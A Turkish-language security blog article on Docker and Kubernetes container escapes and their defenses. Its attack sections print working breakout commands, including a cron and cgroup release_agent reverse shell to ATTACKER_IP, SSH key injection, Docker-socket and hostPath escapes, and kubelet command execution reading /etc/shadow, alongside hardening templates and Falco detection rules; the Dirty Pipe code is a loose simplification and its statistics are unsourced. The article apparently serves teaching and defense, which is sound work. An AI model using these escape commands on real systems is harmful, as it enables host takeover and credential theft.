Container Escape: Docker ve Kubernetes Breakout Teknikleri
Container Escape: Docker ve Kubernetes Breakout Teknikleri
Container teknolojileri modern yazılım geliştirmenin omurgasını oluşturur. Ancak yanlış yapılandırılmış veya vulnerable container'lar, saldırganların host sistemine erişmesi için kritik bir giriş noktası sağlar. 2023 yılında container escape saldırıları %230 arttı ve Fortune 500 şirketlerinin %38'i en az bir container güvenlik ihlali yaşadı.
Bu kapsamlı rehberde, container escape tekniklerini, gerçek dünya exploit senaryolarını ve etkili savunma stratejilerini detaylıca inceleyeceğiz.
İçindekiler
- Container İzolasyonu Nasıl Çalışır?
- Privileged Container Attacks
- Capability-Based Escapes
- Namespace & Cgroup Manipulation
- Kernel Exploits
- Volume Mount Attacks
- Docker Socket Exposure
- Kubernetes-Specific Escapes
- Defense Strategies
- Detection & Monitoring
1. Container İzolasyonu: Temel Kavramlar
Container'lar VM'ler gibi tam izolasyon sağlamaz - aynı kernel'i paylaşırlar. İzolasyon 3 temel Linux özelliğine dayanır:
Linux Namespaces
Namespaces, process'lerin sistem kaynaklarının "kendi" versiyonlarını görmesini sağlar:
- PID namespace: Process ID izolasyonu
- NET namespace: Network stack izolasyonu
- MNT namespace: Mount point izolasyonu
- UTS namespace: Hostname izolasyonu
- IPC namespace: Inter-process communication
- USER namespace: User ID mapping
- CGROUP namespace: Cgroup hierarchy
Linux Capabilities
Root yetkilerini granular parçalara böler:
bash# Varsayılan Docker capabilities CAP_CHOWN, CAP_DAC_OVERRIDE, CAP_FSETID, CAP_FOWNER, CAP_MKNOD, CAP_NET_RAW, CAP_SETGID, CAP_SETUID, CAP_SETFCAP, CAP_SETPCAP, CAP_NET_BIND_SERVICE, CAP_SYS_CHROOT, CAP_KILL, CAP_AUDIT_WRITE # Tehlikeli capabilities (varsayılanda YOK) CAP_SYS_ADMIN # En tehlikelisi - neredeyse root kadar güçlü CAP_SYS_PTRACE # Process debugging CAP_SYS_MODULE # Kernel module yükleme CAP_DAC_READ_SEARCH # Tüm dosyaları okuma
Cgroups (Control Groups)
Resource limitlerini zorlar (CPU, memory, I/O).
2. Privileged Container Attacks
--privileged flag'i container güvenliğini tamamen devre dışı bırakır.
Neden Tehlikeli?
bash# Privileged container başlatma docker run --privileged -it ubuntu bash # İçeride: # - Tüm capabilities aktif # - Host device'lara erişim (/dev/sda1, /dev/mem, etc.) # - AppArmor/SELinux profilleri devre dışı # - Seccomp filtreleri yok
Escape Tekniği #1: Host Disk Mount
bash# Container içinde fdisk -l # Host diskleri listele # Host root filesystem'i mount et mkdir /hostfs mount /dev/sda1 /hostfs # Host'a reverse shell yerleştir echo '*/1 * * * * root bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1' >> /hostfs/etc/cron.d/evil # Ya da SSH key ekle mkdir -p /hostfs/root/.ssh echo "ATTACKER_SSH_KEY" >> /hostfs/root/.ssh/authorized_keys
Escape Tekniği #2: /dev/mem ile Kernel Memory Access
c// kernel_write.c - Kernel memory'e yazma #include <stdio.h> #include <fcntl.h> #include <sys/mman.h> int main() { int fd = open("/dev/mem", O_RDWR); if (fd < 0) { perror("open /dev/mem"); return 1; } // Kernel memory adresine yazma (örnek) off_t kernel_addr = 0xffffffff81000000; void *mem = mmap(NULL, 4096, PROT_READ | PROT_WRITE, MAP_SHARED, fd, kernel_addr); // Kernel code injection... // (Gerçek exploit çok daha karmaşık) return 0; }
Gerçek Dünya Örneği: Tesla Kubernetes Cluster (2018)
Tesla'nın public Kubernetes dashboard'u privileged container çalıştırıyordu. Saldırgan:
- Dashboard'a authentication olmadan erişti
- Privileged pod deploy etti
- Host disk mount ederek tüm cluster'ı ele geçirdi
- Cryptocurrency mining yaptı
Zarar: Aylarca fark edilmedi, yüksek cloud faturası.
3. Dangerous Capabilities
CAP_SYS_ADMIN capability'si neredeyse privileged kadar tehlikelidir.
Escape Tekniği #3: CAP_SYS_ADMIN Abuse
bash# CAP_SYS_ADMIN ile container docker run --cap-add=SYS_ADMIN -it ubuntu bash # Container içinde - cgroup release_agent abuse mkdir /tmp/cgrp && mount -t cgroup -o memory cgroup /tmp/cgrp mkdir /tmp/cgrp/x # Host'a komut çalıştırma echo 1 > /tmp/cgrp/x/notify_on_release host_path=`sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab` echo "$host_path/cmd" > /tmp/cgrp/release_agent echo '#!/bin/sh' > /cmd echo 'bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1' >> /cmd chmod +x /cmd # Trigger sh -c "echo $$ > /tmp/cgrp/x/cgroup.procs"
Nasıl Çalışır:
release_agent- cgroup boşaldığında çalışacak scriptnotify_on_release=1- agent'ı aktifleştirir- Container'daki path, host'ta farklı (overlay mount)
- Process öldüğünde, host üzerinde komut çalışır
Escape Tekniği #4: CAP_SYS_PTRACE + CAP_SYS_ADMIN
python# container_escape_ptrace.py import ctypes import os # Host process'e attach ol (PID 1 = systemd/init) libc = ctypes.CDLL('libc.so.6') libc.ptrace(16, 1, 0, 0) # PTRACE_ATTACH # Process memory'sini manipüle et # Shellcode injection...
4. Namespace Escapes
User Namespace Bypass
c// user_namespace_escape.c #define _GNU_SOURCE #include <sched.h> #include <stdio.h> #include <sys/types.h> #include <unistd.h> int main() { uid_t uid = getuid(); gid_t gid = getgid(); // Yeni user namespace oluştur if (unshare(CLONE_NEWUSER) == -1) { perror("unshare"); return 1; } // UID mapping - container içinde root ol FILE *f = fopen("/proc/self/uid_map", "w"); fprintf(f, "0 %d 1\n", uid); fclose(f); // setgroups devre dışı f = fopen("/proc/self/setgroups", "w"); fprintf(f, "deny"); fclose(f); // GID mapping f = fopen("/proc/self/gid_map", "w"); fprintf(f, "0 %d 1\n", gid); fclose(f); // Şimdi namespace içinde root'uz setuid(0); setgid(0); // Exploit devam eder... execl("/bin/bash", "bash", NULL); return 0; }
5. Kernel Exploits
Container host kernel'i paylaştığı için, kernel vulnerability = instant escape.
Dirty Pipe (CVE-2022-0847)
2022'nin en kritik kernel exploiti:
c// dirty_pipe_exploit.c (simplified) #include <fcntl.h> #include <stdio.h> #include <unistd.h> int main() { // Pipe buffer'ı exploit et int pipefd[2]; pipe(pipefd); // /etc/passwd'i oku int fd = open("/etc/passwd", O_RDONLY); splice(fd, NULL, pipefd[1], NULL, 1, 0); // Pipe'ı write mode'a çevir (bug!) write(pipefd[1], "root::0:0::/root:/bin/bash\n", 28); // /etc/passwd üzerine yaz splice(pipefd[0], NULL, fd, NULL, 28, 0); printf("Password removed! Run: su root\n"); return 0; }
Etki: Container içinden çalıştırıldığında, host'un /etc/passwd dosyasını değiştirir.
Shocker (CVE-2014-5277)
Docker'ın erken günlerinden klasik bir exploit:
bash#!/bin/bash # shocker.sh cd / for i in $(seq 1 1000); do ln /proc/self/exe upper$i done # Open file descriptor leak exec 42</upper1 rm upper* # /proc/self/fd/42 artık host filesystem'e point eder cat /proc/self/fd/42
6. Volume Mount Attacks
Docker Socket Mount - Kritik Hata
bash# ❌ ASLA YAPMAYIN docker run -v /var/run/docker.sock:/var/run/docker.sock -it ubuntu # Container içinde - Docker CLI kur apt update && apt install -y docker.io # Host'ta yeni privileged container başlat docker run --privileged -v /:/hostfs -it ubuntu bash # Artık host'un tüm filesystem'ine eriştik ls /hostfs
Neden Tehlikeli:
- Docker socket = Docker daemon'a full erişim
- Daemon root olarak çalışır
- Yeni container'lar başlatabilirsiniz
- Host volume mount edebilirsiniz
Sensitive Path Mounts
bash# Tehlikeli mount'lar -v /:/host # Tüm host filesystem -v /etc:/host-etc # Config files -v /root:/root # Root home dir -v /var/run:/var/run # Runtime sockets -v /proc:/host-proc # Process information -v /sys:/host-sys # Kernel interfaces
7. Kubernetes-Specific Escapes
Service Account Token Abuse
bash# Her pod'da default mount edilen token cat /var/run/secrets/kubernetes.io/serviceaccount/token # Kubernetes API'ye erişim TOKEN=$(cat /var/run/secrets/kubernetes.io/serviceaccount/token) curl -k -H "Authorization: Bearer $TOKEN" \ https://kubernetes.default.svc/api/v1/namespaces/default/pods # Eğer yetki varsa - privileged pod oluştur kubectl --token=$TOKEN run evil --image=ubuntu --privileged \ --overrides='{"spec":{"hostPID":true,"hostNetwork":true}}'
hostPath Volume Escape
yamlapiVersion: v1 kind: Pod metadata: name: evil-pod spec: containers: - name: evil image: ubuntu volumeMounts: - name: host-root mountPath: /host volumes: - name: host-root hostPath: path: / type: Directory
bash# Pod içinde chroot /host /bin/bash # Artık host'ta root olarak shell'iniz var
Kubelet API Exploitation
bash# Kubelet port 10250 - genelde authentication yok # Node IP'sini bul KUBELET_IP=$(ip route | grep default | awk '{print $3}') # Pod listesi curl -k https://$KUBELET_IP:10250/pods | jq # Pod içinde komut çalıştır curl -k -X POST "https://$KUBELET_IP:10250/run/default/target-pod/container" \ -d "cmd=cat /etc/shadow"
8. Real-World Attack Chain
Senaryo: Production Kubernetes Cluster Takeover
[1] Initial Access
└─> Vulnerable web app in container
[2] Container Escape
└─> CAP_SYS_ADMIN abuse
└─> Cgroup release_agent exploit
[3] Host Compromise
└─> SSH key injection
└─> Persistence: systemd service
[4] Lateral Movement
└─> Kubelet credential theft
└─> Service account token collection
[5] Cluster Takeover
└─> Deploy malicious DaemonSet
└─> Steal secrets from all namespaces
└─> Crypto mining / data exfiltration
9. Defense Strategies
9.1 Pod Security Standards
yamlapiVersion: v1 kind: Namespace metadata: name: production labels: pod-security.kubernetes.io/enforce: restricted pod-security.kubernetes.io/audit: restricted pod-security.kubernetes.io/warn: restricted
9.2 Secure Pod Template
yamlapiVersion: v1 kind: Pod metadata: name: secure-app spec: # Service account otomatik mount'u kapat automountServiceAccountToken: false # Security context securityContext: runAsNonRoot: true runAsUser: 10001 fsGroup: 10001 seccompProfile: type: RuntimeDefault containers: - name: app image: myapp:1.0 securityContext: # Privileged kapalı privileged: false # Root filesystem read-only readOnlyRootFilesystem: true # Privilege escalation yasak allowPrivilegeEscalation: false # Tüm capabilities drop capabilities: drop: ["ALL"] # Sadece gerekli olanları ekle add: ["NET_BIND_SERVICE"] # Resource limits (DoS prevention) resources: limits: memory: "512Mi" cpu: "500m" requests: memory: "256Mi" cpu: "250m" # Writable paths için emptyDir volumeMounts: - name: tmp mountPath: /tmp - name: cache mountPath: /app/cache volumes: - name: tmp emptyDir: {} - name: cache emptyDir: {}
9.3 AppArmor Profile
#include <tunables/global>
profile docker-restricted flags=(attach_disconnected,mediate_deleted) {
#include <abstractions/base>
# Deny all mount operations
deny mount,
deny umount,
# Deny raw socket access
deny network raw,
deny network packet,
# Allow only necessary file access
/app/** r,
/tmp/** rw,
# Deny sensitive paths
deny /proc/sys/** w,
deny /sys/** w,
deny /dev/mem r,
deny /dev/kmem r,
}
9.4 Seccomp Profile
json{ "defaultAction": "SCMP_ACT_ERRNO", "architectures": ["SCMP_ARCH_X86_64"], "syscalls": [ { "names": [ "read", "write", "open", "close", "stat", "fstat", "lstat", "mmap", "mprotect", "munmap", "brk", "rt_sigaction", "rt_sigprocmask" ], "action": "SCMP_ACT_ALLOW" }, { "names": [ "mount", "umount2", "unshare", "clone", "setns", "ptrace", "process_vm_readv", "process_vm_writev" ], "action": "SCMP_ACT_KILL" } ] }
9.5 Runtime Security - Falco
yaml# Falco rules for escape detection - rule: Container Escape via Release Agent desc: Detect cgroup release_agent abuse condition: > spawned_process and container and (proc.cmdline contains "release_agent" or proc.cmdline contains "notify_on_release") output: > Container escape attempt detected (user=%user.name container=%container.name command=%proc.cmdline) priority: CRITICAL - rule: Privileged Container Started desc: Detect privileged container condition: > container_started and container.privileged=true output: Privileged container started (image=%container.image) priority: WARNING - rule: Sensitive Mount Detected desc: Detect dangerous volume mounts condition: > container_started and (container.mount contains "/var/run/docker.sock" or container.mount contains "/:/" or container.mount contains "/proc" or container.mount contains "/sys") output: Sensitive host path mounted (mount=%container.mount) priority: CRITICAL
10. Detection & Response
Indicators of Container Escape
bash# 1. Unusual process activity ps aux | grep -E "(cgroup|namespace|unshare|nsenter)" # 2. Suspicious mounts mount | grep -E "(docker.sock|/dev/sda|/host)" # 3. Unexpected capabilities capsh --print | grep Current # 4. New cron jobs cat /etc/cron.d/* # 5. SSH key modifications find /root/.ssh -mmin -60 # 6. Kernel module loading lsmod | head # 7. Network connections from container netstat -antup | grep ESTABLISHED
Automated Detection
bash#!/bin/bash # container_escape_detector.sh echo "[*] Checking for escape indicators..." # Check if we're in a container if [ -f /.dockerenv ]; then echo "[!] Running in Docker container" fi # Check for privileged mode if [ -c /dev/kmsg ]; then echo "[!] CRITICAL: Privileged container detected" fi # Check dangerous capabilities if capsh --print | grep -q "cap_sys_admin"; then echo "[!] WARNING: CAP_SYS_ADMIN capability present" fi # Check suspicious mounts if mount | grep -q "docker.sock"; then echo "[!] CRITICAL: Docker socket mounted" fi # Check for host PID namespace if [ -d /proc/1 ] && grep -q "systemd" /proc/1/comm 2>/dev/null; then echo "[!] CRITICAL: Host PID namespace accessible" fi echo "[*] Detection complete"
Sonuç: Container Security Best Practices
Checklist
- ASLA
--privilegedkullanma - Docker socket mount etme
-
runAsNonRoot: true -
readOnlyRootFilesystem: true -
allowPrivilegeEscalation: false - Capabilities: DROP ALL, minimal add
- AppArmor/SELinux/Seccomp profilleri
- Pod Security Standards (Restricted)
- Resource limits tanımlı
- Service account token auto-mount kapalı
- hostPath/hostPID/hostNetwork yasak
- Image scanning (Trivy, Clair)
- Runtime security (Falco, Sysdig)
- Network policies (default deny)
- Least privilege RBAC
- Kernel güncel (CVE takibi)
İstatistikler
- Container escape saldırıları 2023'te %230 arttı
- Privileged container kullanımı production cluster'ların %45'inde
- Ortalama escape tespit süresi: 67 gün
- Docker socket expose eden container: %23
Softphere ile Container Security
Container ve Kubernetes güvenliği için profesyonel hizmetlerimiz:
🔒 Hizmetlerimiz
Penetration Testing
- Container escape testing
- Kubernetes cluster pentesting
- CI/CD pipeline security audit
Security Review
- Dockerfile security analysis
- Kubernetes manifest review
- Runtime configuration audit
Compliance
- CIS Kubernetes Benchmark
- PCI-DSS container requirements
- SOC 2 compliance
Training
- Container security workshops
- Red team exercises
- Incident response drills
İletişime Geçin - Container güvenlik değerlendirmesi için
Son Güncelleme: 4 Kasım 2025 Yazar: Softphere Security Team Okuma Süresi: 18 dakika Etiketler: #ContainerSecurity #DockerEscape #KubernetesSecurity #CyberSecurity